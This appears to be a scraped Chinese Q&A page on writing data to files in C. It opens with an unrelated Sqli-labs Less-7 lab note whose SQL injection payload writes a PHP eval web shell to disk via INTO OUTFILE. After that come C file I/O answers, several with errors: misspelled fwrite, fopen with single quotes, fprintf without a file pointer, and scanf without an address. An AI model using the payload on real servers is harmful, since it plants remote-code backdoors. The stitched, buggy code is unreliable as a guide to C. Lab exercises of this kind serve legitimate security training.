发布网友
共8个回答
懂视网
通过源代码我们很容易的写出了payload。倘若我们一个个去尝试的话,说实话,不容易。
http://127.0.0.1/sql/Less-7/index.php?id=1‘)) and 1=1--+
Payload:
http://127.0.0.1/sql/Less-7/index.php?id=1‘)) union select 1,‘<?php eval($_POST[cmd])?>‘,3 into outfile ‘H://zhenxishaonianshi.txt‘--+
虽然提示了语法错误。但是我们看看。在H盘是真实的存在的。
THE END
Sqli-LABS通关笔录-7[文件写入函数Outfile]
标签:index.php 源代码 127.0.0.1 dex sql com 使用 class union
热心网友
可以使用C语言中的文件操作函数,将数据写入文件。具体如下
一、打开文件。
使用fopen函数。格式为:
FILE *fopen(const char *name, const char * mode);
其中name为要写入的文件名,mode为格式字符。要写入文件,mode可以是:
1、 "w" 只写方式,文本形式输入;
2、"wb" 只写方式,二进制形式输入;
3、"wb+" 读写方式,二进制形式输入;
4、"w+" 读写方式,文本形式输入;
5、"a" 追加方式,写入文件结尾,文本形式输入;
6、"ab" 追加方式,写入文件结尾,二进制形式输入;
7、"ab+" 追加方式,可读写,写入文件结尾,二进制形式输入;
8、"a+" 追加方式,可读写,写入文件结尾,文本形式输入;
二、写入数据。
可以使用各种写入函数,向文件写入。 如打开的文件指针为fp,可以使用如下函数:
1、 fputc, 写入一个字符。声明为:
int fputc(int ch, FILE *fp);
2、fputs, 写入一个字符串,声明为:
char * fputs(const char *str, FILE *fp);
3、fprintf,格式化写入,功能和printf类似。 声明为:
int fprintf(FILE *fp, const char *fmt, ...);
4、 fwirte, 按块写入二进制数据,声明为:
int fwirte(char *buf, int block_size, int block_number, FILE *fp);
三、写入完毕后,调用fclose关闭文件:
int fclose(FILE *fp);
热心网友
利用VC软件通过代码书写就可以将数据写入文件。
首先打开VC++6.0。
选择文件,新建。
选择C++ source file 新建一个空白文档。
先声明头文件#include <stdio.h>。
写上主函数
void main
主要代码
FILE *infile,*outfile,*otherfile;
char input;
char inputs[10];
int i=0;
infile = fopen("d:\\infile.txt","r+");//用fopen函数打开文件
outfile = fopen("d:\\outfile.txt","a+");//用fopen函数打开文件
if ( !infile )
printf("open infile failed....\n");
if ( !outfile)
printf("open outfile failed...\n");
printf("*********************************************\n");
printf("** This program is to show file operation! **\n");
printf("** The input file is: **\n");
printf("** d:\\infile.txt **\n");
printf("** The contents in this file is: **\n");
printf("\n");
for(;;)
{
input = fgetc(infile);//死循环读出文件内容
printf("%c",input);
putc(input,outfile);//写入内容
i++;
if(input == '\n' || input == EOF)
break;
}
fclose(infile);
fclose(outfile);
scanf("%d",i)
运行结果
热心网友
用fwrite函数。
size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
注意:这个函数以二进制形式对文件进行操作,不局限于文本文件
返回值:返回实际写入的数据块数目
(1)buffer:是一个指针,对fwrite来说,是要获取数据的地址;
(2)size:要写入内容的单字节数;
(3)count:要进行写入size字节的数据项的个数;
(4)stream:目标文件指针;
(5)返回实际写入的数据项个数count。
说明:写入到文件的哪里? 这个与文件的打开模式有关,如果是w+,则是从file pointer指向的地址开始写,替换掉之后的内容,文件的长度可以不变,stream的位置移动count个数;如果是a+,则从文件的末尾开始添加,文件长度加大。
fseek对此函数有作用,但是fwrite[1]函数写到用户空间缓冲区,并未同步到文件中,所以修改后要将内存与文件同步可以用fflush(FILE *fp)函数同步。
热心网友
这是一个简单的例子,存的也是文本。看你需要是否存二进制,那样的话使用fwrite。
#include <stdio.h>
#include <stdlib.h>
int main()
{
FILE *fp;
int x=1234;
fp=fopen("d:\\test.txt","w");
if(fp==NULL)
{
printf("create file failed\n");
return -1;
}
fprintf(fp,"%d",x);
fclose(fp);
return 0;
}
热心网友
写入文本文件,建议使用fopen fwrite等几个系统函数 使用方法及参数请见http://ke.baidu.com/link?url=sb96EUKtzUJX_A3AEn9iRhrZiFVPLvW7KlWrdsvJVDc-vNFJdKoeSs2O1j59J2YT
有不懂的地方请留言
热心网友
FILE *fp;
fp=fopen('xxx.txt','w');
for (i=0;i<=9;i++) fprintf(fp,"temp[%d]=0x%h\n", i, temp[i]);
fclose(fp);
热心网友
FILE* fp;
fp=fopen("file.txt","a");
for(i=0;i<10;i++)
{
fprintf("temp[%d]=0x%x;\n",i,temp[i]);
}